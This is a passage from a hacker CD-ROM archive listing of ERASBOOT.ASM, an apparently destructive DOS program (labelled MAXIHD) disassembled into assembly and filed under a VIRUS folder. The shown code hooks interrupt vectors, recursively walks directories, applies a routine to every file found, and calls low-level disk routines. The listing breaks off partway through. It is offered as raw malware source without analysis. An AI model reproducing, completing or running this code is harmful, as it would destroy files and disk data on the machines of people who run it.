home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / ERASBOOT.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  77KB  |  3,348 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    MAXIHD                         ██
  7. ;██                                         ██
  8. ;██      Created:   1-Jan-80                             ██
  9. ;██      Passes:    5           Analysis Flags on: H                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.   
  13. DATA_1E        EQU    74H            ; (0000:0074=0A4H)
  14. DATA_2E        EQU    78H            ; (0000:0078=22H)
  15. DATA_3E        EQU    7CH            ; (0000:007C=0)
  16. DATA_4E        EQU    80H            ; (0000:0080=0F5H)
  17. DATA_5E        EQU    84H            ; (0000:0084=9CEH)
  18. DATA_6E        EQU    86H            ; (0000:0086=13C7H)
  19. DATA_7E        EQU    88H            ; (0000:0088=723H)
  20. DATA_8E        EQU    8AH            ; (0000:008A=23EAH)
  21. DATA_9E        EQU    8CH            ; (0000:008C=0A70H)
  22. DATA_10E    EQU    8EH            ; (0000:008E=23EAH)
  23. DATA_11E    EQU    94H            ; (0000:0094=192FH)
  24. DATA_12E    EQU    98H            ; (0000:0098=198CH)
  25. DATA_13E    EQU    9AH            ; (0000:009A=27DH)
  26. DATA_14E    EQU    9EH            ; (0000:009E=27DH)
  27. DATA_15E    EQU    232H            ; (0000:0232=0)
  28. DATA_16E    EQU    234H            ; (0000:0234=0)
  29. DATA_17E    EQU    236H            ; (0000:0236=0)
  30. DATA_18E    EQU    23CH            ; (0000:023C=0)
  31. DATA_19E    EQU    458H            ; (0000:0458=0)
  32. DATA_20E    EQU    45AH            ; (0000:045A=0)
  33. DATA_21E    EQU    464H            ; (0000:0464=2903H)
  34. DATA_22E    EQU    4A4H            ; (0000:04A4=0)
  35. DATA_23E    EQU    4A6H            ; (0000:04A6=0)
  36. DATA_24E    EQU    4A8H            ; (0000:04A8=0)
  37. DATA_25E    EQU    2            ; (7FC4:0002=0)
  38. DATA_26E    EQU    2CH            ; (7FC4:002C=0)
  39. DATA_27E    EQU    94H            ; (7FC4:0094=0)
  40. DATA_28E    EQU    9EH            ; (7FC4:009E=0)
  41. DATA_29E    EQU    1D6H            ; (7FC4:01D6=0CD57H)
  42. DATA_30E    EQU    1D8H            ; (7FC4:01D8=21H)
  43. DATA_31E    EQU    232H            ; (7FC4:0232=2FB9H)
  44. DATA_32E    EQU    37EH            ; (7FC4:037E=50FFH)
  45. DATA_33E    EQU    3A6H            ; (7FC4:03A6=8D50H)
  46. DATA_34E    EQU    3A8H            ; (7FC4:03A8=0AE46H)
  47. DATA_35E    EQU    4A4H            ; (7FC4:04A4=0AC26H)
  48. DATA_36E    EQU    4A6H            ; (7FC4:04A6=8C40H)
  49. DATA_37E    EQU    4A8H            ; (7FC4:04A8=87C5H)
  50. DATA_123E    EQU    0FF67H            ; (8134:FF67=0)
  51. DATA_124E    EQU    0FF70H            ; (8134:FF70=0)
  52. DATA_126E    EQU    0FF6AH            ; (817F:FF6A=0)
  53. DATA_127E    EQU    0FF6CH            ; (817F:FF6C=0)
  54. DATA_128E    EQU    0FF6EH            ; (817F:FF6E=0)
  55. DATA_129E    EQU    0FF6FH            ; (817F:FF6F=0)
  56. DATA_130E    EQU    0FF70H            ; (817F:FF70=0)
  57. DATA_131E    EQU    0FF72H            ; (817F:FF72=0)
  58. DATA_132E    EQU    0FF75H            ; (817F:FF75=0)
  59. DATA_133E    EQU    0FF76H            ; (817F:FF76=0)
  60. DATA_134E    EQU    0FF78H            ; (817F:FF78=0)
  61. DATA_135E    EQU    0FF7BH            ; (817F:FF7B=0)
  62. DATA_136E    EQU    0FF7CH            ; (817F:FF7C=0)
  63.   
  64. ;--------------------------------------------------------------    SEG_A  ----
  65.   
  66. SEG_A        SEGMENT    PARA PUBLIC
  67.         ASSUME CS:SEG_A , DS:SEG_A , SS:STACK_SEG_C
  68.   
  69.   
  70. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  71. ;                   SUBROUTINE
  72. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  73.   
  74. SUB_1        PROC    NEAR
  75. SUB_1        ENDP
  76.   
  77.   
  78. ;██████████████████████████████████████████████████████████████████████████
  79. ;
  80. ;            PROGRAM ENTRY POINT
  81. ;
  82. ;██████████████████████████████████████████████████████████████████████████
  83.   
  84.   
  85. MAXIHD        PROC    FAR
  86.   
  87. start:
  88.         MOV    DX,SEG SEG_B
  89.         MOV    CS:DATA_38,DX        ; (7FD4:01F8=0)
  90.         MOV    AH,30H            ; '0'
  91.         INT    21H            ; DOS Services  ah=function 30h
  92.                         ;  get DOS version number ax
  93.         MOV    BP,DS:DATA_25E        ; (7FC4:0002=0)
  94.         MOV    BX,DS:DATA_26E        ; (7FC4:002C=0)
  95.         MOV    DS,DX
  96.         assume    ds:SEG_B
  97.         MOV    DATA_77,AX        ; (8134:0092=0)
  98.         MOV    DATA_76,ES        ; (8134:0090=0)
  99.         MOV    WORD PTR DATA_73+2,BX    ; (8134:008C=0)
  100.         MOV    DATA_84,BP        ; (8134:00AC=0)
  101.         MOV    DATA_79,0FFFFH        ; (8134:0096=0)
  102.         CALL    SUB_3            ; (0162)
  103.         LES    DI,DATA_73        ; (8134:008A=0) Load 32 bit ptr
  104.         MOV    AX,DI
  105.         MOV    BX,AX
  106.         MOV    CX,7FFFH
  107. LOC_2:
  108.         CMP    WORD PTR ES:[DI],3738H
  109.         JNE    LOC_3            ; Jump if not equal
  110.         MOV    DX,ES:[DI+2]
  111.         CMP    DL,3DH            ; '='
  112.         JNE    LOC_3            ; Jump if not equal
  113.         AND    DH,0DFH
  114.         INC    DATA_79            ; (8134:0096=0)
  115.         CMP    DH,59H            ; 'Y'
  116.         JNE    LOC_3            ; Jump if not equal
  117.         INC    DATA_79            ; (8134:0096=0)
  118. LOC_3:
  119.         REPNE    SCASB            ; Rept zf=0+cx>0 Scan es:[di] for al
  120.         JCXZ    LOC_6            ; Jump if cx=0
  121.         INC    BX
  122.         CMP    ES:[DI],AL
  123.         JNE    LOC_2            ; Jump if not equal
  124.         OR    CH,80H
  125.         NEG    CX
  126.         MOV    WORD PTR DATA_73,CX    ; (8134:008A=0)
  127.         MOV    CX,1
  128.         SHL    BX,CL            ; Shift w/zeros fill
  129.         ADD    BX,8
  130.         AND    BX,0FFF8H
  131.         MOV    DATA_75,BX        ; (8134:008E=0)
  132.         MOV    DX,DS
  133.         SUB    BP,DX
  134.         MOV    DI,DATA_89        ; (8134:023A=1000H)
  135.         CMP    DI,200H
  136.         JAE    LOC_4            ; Jump if above or =
  137.         MOV    DI,200H
  138.         MOV    DATA_89,DI        ; (8134:023A=1000H)
  139. LOC_4:
  140.         ADD    DI,4AAH
  141.         JC    LOC_6            ; Jump if carry Set
  142.         ADD    DI,DATA_88        ; (8134:0238=0)
  143.         JC    LOC_6            ; Jump if carry Set
  144.         MOV    CL,4
  145.         SHR    DI,CL            ; Shift w/zeros fill
  146.         INC    DI
  147.         CMP    BP,DI
  148.         JB    LOC_6            ; Jump if below
  149.         CMP    DATA_89,0        ; (8134:023A=1000H)
  150.         JE    LOC_5            ; Jump if equal
  151.         CMP    DATA_88,0        ; (8134:0238=0)
  152.         JNE    LOC_7            ; Jump if not equal
  153. LOC_5:
  154.         MOV    DI,1000H
  155.         CMP    BP,DI
  156.         JA    LOC_7            ; Jump if above
  157.         MOV    DI,BP
  158.         JMP    SHORT LOC_7        ; (00C1)
  159. LOC_6:
  160.         JMP    LOC_10            ; (01E2)
  161. LOC_7:
  162.         MOV    BX,DI
  163.         ADD    BX,DX
  164.         MOV    DATA_82,BX        ; (8134:00A4=0)
  165.         MOV    DATA_83,BX        ; (8134:00A8=0)
  166.         MOV    AX,DATA_76        ; (8134:0090=0)
  167.         SUB    BX,AX
  168.         MOV    ES,AX
  169.         MOV    AH,4AH            ; 'J'
  170.         PUSH    DI
  171.         INT    21H            ; DOS Services  ah=function 4Ah
  172.                         ;  change mem allocation, bx=siz
  173.         POP    DI
  174.         SHL    DI,CL            ; Shift w/zeros fill
  175.         CLI                ; Disable interrupts
  176.         MOV    SS,DX
  177.         MOV    SP,DI
  178.         STI                ; Enable interrupts
  179.         XOR    AX,AX            ; Zero register
  180.         MOV    ES,CS:DATA_38        ; (7FD4:01F8=0)
  181.         MOV    DI,464H
  182.         MOV    CX,4AAH
  183.         SUB    CX,DI
  184.         REP    STOSB            ; Rep while cx>0 Store al to es:[di]
  185.         PUSH    CS
  186.         CALL    WORD PTR DATA_117    ; (8134:0456=1D2H)
  187.         CALL    SUB_12            ; (0390)
  188.         CALL    SUB_14            ; (047B)
  189.         MOV    AH,0
  190.         INT    1AH            ; Real time clock   ah=func 00h
  191.                         ;  get system timer count cx,dx
  192.         MOV    DS:DATA_12E,DX        ; (0000:0098=198CH)
  193.         MOV    DS:DATA_13E,CX        ; (0000:009A=27DH)
  194.         CALL    WORD PTR DS:DATA_20E    ; (0000:045A=0)
  195.         PUSH    WORD PTR DS:DATA_7E    ; (0000:0088=723H)
  196.         PUSH    WORD PTR DS:DATA_6E    ; (0000:0086=13C7H)
  197.         PUSH    WORD PTR DS:DATA_5E    ; (0000:0084=9CEH)
  198.         CALL    SUB_6            ; (01FA)
  199.         PUSH    AX
  200.         CALL    SUB_11            ; (035B)
  201.   
  202. MAXIHD        ENDP
  203.   
  204. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  205. ;                   SUBROUTINE
  206. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  207.   
  208. SUB_2        PROC    NEAR
  209.         MOV    DS,CS:DATA_38        ; (7FD4:01F8=0)
  210.         CALL    SUB_4            ; (01A5)
  211.         PUSH    CS
  212.         CALL    WORD PTR DS:DATA_19E    ; (0000:0458=0)
  213.         XOR    AX,AX            ; Zero register
  214.         MOV    SI,AX
  215.         MOV    CX,2FH
  216.         NOP
  217.         CLD                ; Clear direction
  218.   
  219. LOCLOOP_8:
  220.         ADD    AL,[SI]
  221.         ADC    AH,0
  222.         INC    SI
  223.         LOOP    LOCLOOP_8        ; Loop if cx > 0
  224.   
  225.         SUB    AX,0D37H
  226.         NOP
  227.         JZ    LOC_9            ; Jump if zero
  228.         MOV    CX,19H
  229.         NOP
  230.         MOV    DX,2FH
  231.         CALL    SUB_5            ; (01DA)
  232. LOC_9:
  233.         MOV    BP,SP
  234.         MOV    AH,4CH            ; 'L'
  235.         MOV    AL,[BP+2]
  236.         INT    21H            ; DOS Services  ah=function 4Ch
  237.                         ;  terminate with al=return code
  238. SUB_2        ENDP
  239.   
  240.   
  241. ;██████████████████████████████████████████████████████████████████████████
  242. ;
  243. ;            External Entry Point
  244. ;
  245. ;██████████████████████████████████████████████████████████████████████████
  246.   
  247. INT_00H_ENTRY    PROC    FAR
  248.         MOV    CX,0EH
  249.         NOP
  250.         MOV    DX,48H
  251.         JMP    LOC_11            ; (01E9)
  252. INT_00H_ENTRY    ENDP
  253.   
  254.   
  255. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  256. ;                   SUBROUTINE
  257. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  258.   
  259. SUB_3        PROC    NEAR
  260.         PUSH    DS
  261.         MOV    AX,3500H
  262.         INT    21H            ; DOS Services  ah=function 35h
  263.                         ;  get intrpt vector al in es:bx
  264.         MOV    DATA_65,BX        ; (8134:0074=0)
  265.         MOV    DATA_66,ES        ; (8134:0076=0)
  266.         MOV    AX,3504H
  267.         INT    21H            ; DOS Services  ah=function 35h
  268.                         ;  get intrpt vector al in es:bx
  269.         MOV    DATA_67,BX        ; (8134:0078=0)
  270.         MOV    DATA_68,ES        ; (8134:007A=0)
  271.         MOV    AX,3505H
  272.         INT    21H            ; DOS Services  ah=function 35h
  273.                         ;  get intrpt vector al in es:bx
  274.         MOV    DATA_69,BX        ; (8134:007C=0)
  275.         MOV    DATA_70,ES        ; (8134:007E=0)
  276.         MOV    AX,3506H
  277.         INT    21H            ; DOS Services  ah=function 35h
  278.                         ;  get intrpt vector al in es:bx
  279.         MOV    DATA_71,BX        ; (8134:0080=0)
  280.         MOV    DATA_72,ES        ; (8134:0082=0)
  281.         MOV    AX,2500H
  282.         MOV    DX,CS
  283.         MOV    DS,DX
  284.         MOV    DX,158H
  285.         INT    21H            ; DOS Services  ah=function 25h
  286.                         ;  set intrpt vector al to ds:dx
  287.         POP    DS
  288.         RETN
  289. SUB_3        ENDP
  290.   
  291.   
  292. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  293. ;                   SUBROUTINE
  294. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  295.   
  296. SUB_4        PROC    NEAR
  297.         PUSH    DS
  298.         MOV    AX,2500H
  299.         LDS    DX,DWORD PTR DS:DATA_1E    ; (0000:0074=0F0A4H) Load 32 bit ptr
  300.         INT    21H            ; DOS Services  ah=function 25h
  301.                         ;  set intrpt vector al to ds:dx
  302.         POP    DS
  303.         PUSH    DS
  304.         MOV    AX,2504H
  305.         LDS    DX,DWORD PTR DS:DATA_2E    ; (0000:0078=522H) Load 32 bit ptr
  306.         INT    21H            ; DOS Services  ah=function 25h
  307.                         ;  set intrpt vector al to ds:dx
  308.         POP    DS
  309.         PUSH    DS
  310.         MOV    AX,2505H
  311.         LDS    DX,DWORD PTR DS:DATA_3E    ; (0000:007C=0) Load 32 bit ptr
  312.         INT    21H            ; DOS Services  ah=function 25h
  313.                         ;  set intrpt vector al to ds:dx
  314.         POP    DS
  315.         PUSH    DS
  316.         MOV    AX,2506H
  317.         LDS    DX,DWORD PTR DS:DATA_4E    ; (0000:0080=16F5H) Load 32 bit ptr
  318.         INT    21H            ; DOS Services  ah=function 25h
  319.                         ;  set intrpt vector al to ds:dx
  320.         POP    DS
  321.         RETN
  322. SUB_4        ENDP
  323.   
  324.         DB    0C7H, 6, 96H, 0, 0, 0
  325.         DB    0CBH, 0C3H
  326.   
  327. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  328. ;                   SUBROUTINE
  329. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  330.   
  331. SUB_5        PROC    NEAR
  332.         MOV    AH,40H            ; '@'
  333.         MOV    BX,2
  334.         INT    21H            ; DOS Services  ah=function 40h
  335.                         ;  write file cx=bytes, to ds:dx
  336.         RETN
  337. SUB_5        ENDP
  338.   
  339. LOC_10:
  340.         MOV    CX,1EH
  341.         NOP
  342.         MOV    DX,56H
  343. LOC_11:
  344.         MOV    DS,CS:DATA_38        ; (7FD4:01F8=0)
  345.         CALL    SUB_5            ; (01DA)
  346.         MOV    AX,3
  347.         PUSH    AX
  348.         CALL    SUB_2            ; (0121)
  349. DATA_38        DW    0
  350.   
  351. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  352. ;                   SUBROUTINE
  353. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  354.   
  355. SUB_6        PROC    NEAR
  356.         PUSH    BP
  357.         MOV    BP,SP
  358.         MOV    AX,194H
  359.         PUSH    AX
  360.         CALL    SUB_8            ; (0290)
  361.         POP    CX
  362.         MOV    AX,194H
  363.         PUSH    AX
  364.         CALL    SUB_7            ; (0212)
  365.         POP    CX
  366.         CALL    SUB_9            ; (02F5)
  367.         POP    BP
  368.         RETN
  369. SUB_6        ENDP
  370.   
  371.   
  372. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  373. ;                   SUBROUTINE
  374. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  375.   
  376. SUB_7        PROC    NEAR
  377.         PUSH    BP
  378.         MOV    BP,SP
  379.         SUB    SP,0AEH
  380.         PUSH    SI
  381.         PUSH    DI
  382.         MOV    DI,[BP+4]
  383.         PUSH    DI
  384.         CALL    SUB_8            ; (0290)
  385.         POP    CX
  386.         MOV    AX,19BH
  387.         PUSH    AX
  388.         PUSH    DI
  389.         MOV    AX,195H
  390.         PUSH    AX
  391.         LEA    AX,[BP-82H]        ; Load effective addr
  392.         PUSH    AX
  393.         CALL    SUB_51            ; (1571)
  394.         ADD    SP,8
  395.         MOV    AX,10H
  396.         PUSH    AX
  397.         LEA    AX,[BP-0AEH]        ; Load effective addr
  398.         PUSH    AX
  399.         LEA    AX,[BP-82H]        ; Load effective addr
  400.         PUSH    AX
  401.         CALL    SUB_49            ; (150B)
  402.         ADD    SP,6
  403.         MOV    SI,AX
  404.         JMP    SHORT LOC_14        ; (0286)
  405. LOC_12:
  406.         CMP    BYTE PTR SS:DATA_124E[BP],2EH    ; (8134:FF70=0) '.'
  407.         JE    LOC_13            ; Jump if equal
  408.         TEST    BYTE PTR SS:DATA_123E[BP],10H    ; (8134:FF67=0)
  409.         JZ    LOC_13            ; Jump if zero
  410.         LEA    AX,[BP-90H]        ; Load effective addr
  411.         PUSH    AX
  412.         PUSH    DI
  413.         MOV    AX,195H
  414.         PUSH    AX
  415.         LEA    AX,[BP-82H]        ; Load effective addr
  416.         PUSH    AX
  417.         CALL    SUB_51            ; (1571)
  418.         ADD    SP,8
  419.         LEA    AX,[BP-82H]        ; Load effective addr
  420.         PUSH    AX
  421.         CALL    SUB_7            ; (0212)
  422.         POP    CX
  423. LOC_13:
  424.         LEA    AX,[BP-0AEH]        ; Load effective addr
  425.         PUSH    AX
  426.         CALL    SUB_50            ; (152D)
  427.         POP    CX
  428.         MOV    SI,AX
  429. LOC_14:
  430.         OR    SI,SI            ; Zero ?
  431.         JZ    LOC_12            ; Jump if zero
  432.         POP    DI
  433.         POP    SI
  434.         MOV    SP,BP
  435.         POP    BP
  436.         RETN
  437. SUB_7        ENDP
  438.   
  439.   
  440. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  441. ;                   SUBROUTINE
  442. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  443.   
  444. SUB_8        PROC    NEAR
  445.         PUSH    BP
  446.         MOV    BP,SP
  447.         SUB    SP,7EH
  448.         PUSH    SI
  449.         PUSH    WORD PTR [BP+4]
  450.         LEA    AX,[BP-52H]        ; Load effective addr
  451.         PUSH    AX
  452.         CALL    SUB_33            ; (0B88)
  453.         POP    CX
  454.         POP    CX
  455.         MOV    AX,19FH
  456.         PUSH    AX
  457.         LEA    AX,[BP-52H]        ; Load effective addr
  458.         PUSH    AX
  459.         CALL    SUB_32            ; (0B4C)
  460.         POP    CX
  461.         POP    CX
  462.         XOR    AX,AX            ; Zero register
  463.         PUSH    AX
  464.         LEA    AX,[BP-7EH]        ; Load effective addr
  465.         PUSH    AX
  466.         LEA    AX,[BP-52H]        ; Load effective addr
  467.         PUSH    AX
  468.         CALL    SUB_49            ; (150B)
  469.         ADD    SP,6
  470.         MOV    SI,AX
  471.         JMP    SHORT LOC_16        ; (02EC)
  472. LOC_15:
  473.         LEA    AX,[BP-60H]        ; Load effective addr
  474.         PUSH    AX
  475.         PUSH    WORD PTR [BP+4]
  476.         MOV    AX,195H
  477.         PUSH    AX
  478.         LEA    AX,[BP-52H]        ; Load effective addr
  479.         PUSH    AX
  480.         CALL    SUB_51            ; (1571)
  481.         ADD    SP,8
  482.         LEA    AX,[BP-52H]        ; Load effective addr
  483.         PUSH    AX
  484.         CALL    SUB_31            ; (0B34)
  485.         POP    CX
  486.         LEA    AX,[BP-7EH]        ; Load effective addr
  487.         PUSH    AX
  488.         CALL    SUB_50            ; (152D)
  489.         POP    CX
  490.         MOV    SI,AX
  491. LOC_16:
  492.         OR    SI,SI            ; Zero ?
  493.         JZ    LOC_15            ; Jump if zero
  494.         POP    SI
  495.         MOV    SP,BP
  496.         POP    BP
  497.         RETN
  498. SUB_8        ENDP
  499.   
  500.   
  501. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  502. ;                   SUBROUTINE
  503. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  504.   
  505. SUB_9        PROC    NEAR
  506.         PUSH    BP
  507.         MOV    BP,SP
  508.         SUB    SP,4
  509.         MOV    AX,1A4H
  510.         PUSH    AX
  511.         PUSH    WORD PTR [BP-2]
  512.         CALL    SUB_48            ; (14F3)
  513.         POP    CX
  514.         POP    CX
  515.         PUSH    WORD PTR [BP-4]
  516.         XOR    AX,AX            ; Zero register
  517.         PUSH    AX
  518.         MOV    AX,0CH
  519.         PUSH    AX
  520.         MOV    AX,2
  521.         PUSH    AX
  522.         CALL    SUB_52            ; (15D4)
  523.         ADD    SP,8
  524.         MOV    SP,BP
  525.         POP    BP
  526.         RETN
  527. SUB_9        ENDP
  528.   
  529.   
  530. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  531. ;                   SUBROUTINE
  532. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  533.   
  534. SUB_10        PROC    NEAR
  535.         PUSH    BP
  536.         MOV    BP,SP
  537.         PUSH    SI
  538.         MOV    SI,[BP+4]
  539.         OR    SI,SI            ; Zero ?
  540.         JL    LOC_19            ; Jump if <
  541.         CMP    SI,58H
  542.         JBE    LOC_18            ; Jump if below or =
  543. LOC_17:
  544.         MOV    SI,57H
  545. LOC_18:
  546.         MOV    DS:DATA_29E,SI        ; (7FC4:01D6=0CD57H)
  547.         MOV    AL,DS:DATA_30E[SI]    ; (7FC4:01D8=21H)
  548.         CBW                ; Convrt byte to word
  549.         XCHG    AX,SI
  550.         JMP    SHORT LOC_20        ; (034B)
  551. LOC_19:
  552.         NEG    SI
  553.         CMP    SI,23H
  554.         JA    LOC_17            ; Jump if above
  555.         MOV    WORD PTR DS:DATA_29E,0FFFFH    ; (7FC4:01D6=0CD57H)
  556. LOC_20:
  557.         MOV    AX,SI
  558.         MOV    DS:DATA_27E,AX        ; (7FC4:0094=0)
  559.         MOV    AX,0FFFFH
  560.         JMP    SHORT LOC_21        ; (0355)
  561. LOC_21:
  562.         POP    SI
  563.         POP    BP
  564.         RETN    2
  565. SUB_10        ENDP
  566.   
  567.         DB    0C3H
  568.   
  569. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  570. ;                   SUBROUTINE
  571. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  572.   
  573. SUB_11        PROC    NEAR
  574.         PUSH    BP
  575.         MOV    BP,SP
  576.         JMP    SHORT LOC_23        ; (036A)
  577. LOC_22:
  578.         MOV    BX,WORD PTR DS:[23CH]    ; (7FC4:023C=0E246H)
  579.         SHL    BX,1            ; Shift w/zeros fill
  580.         CALL    WORD PTR DS:[464H][BX]    ;*(7FC4:0464=0E3D1H)
  581. LOC_23:
  582.         MOV    AX,WORD PTR DS:[23CH]    ; (7FC4:023C=0E246H)
  583.         DEC    WORD PTR DS:[23CH]    ; (7FC4:023C=0E246H)
  584.         OR    AX,AX            ; Zero ?
  585.         JNZ    LOC_22            ; Jump if not zero
  586.         CALL    WORD PTR DS:DATA_31E    ; (7FC4:0232=2FB9H)
  587.         CALL    WORD PTR DS:[234H]    ; (7FC4:0234=9000H)
  588.         CALL    WORD PTR DS:[236H]    ; (7FC4:0236=2FCH)
  589.         PUSH    WORD PTR [BP+4]
  590.         CALL    SUB_2            ; (0121)
  591.         POP    CX
  592.         POP    BP
  593.         RETN
  594. SUB_11        ENDP
  595.   
  596. DATA_39        DW    0
  597. DATA_40        DW    0
  598.         DB    0, 0
  599.   
  600. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  601. ;                   SUBROUTINE
  602. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  603.   
  604. SUB_12        PROC    NEAR
  605.         POP    CS:DATA_39        ; (7FD4:038A=0)
  606.         MOV    CS:DATA_40,DS        ; (7FD4:038C=0)
  607.         CLD                ; Clear direction
  608.         MOV    ES,DATA_76        ; (8134:0090=0)
  609.         MOV    SI,80H
  610.         XOR    AH,AH            ; Zero register
  611.         LODS    BYTE PTR ES:[SI]    ; String [si] to al
  612.         INC    AX
  613.         MOV    BP,ES
  614.         XCHG    DX,SI
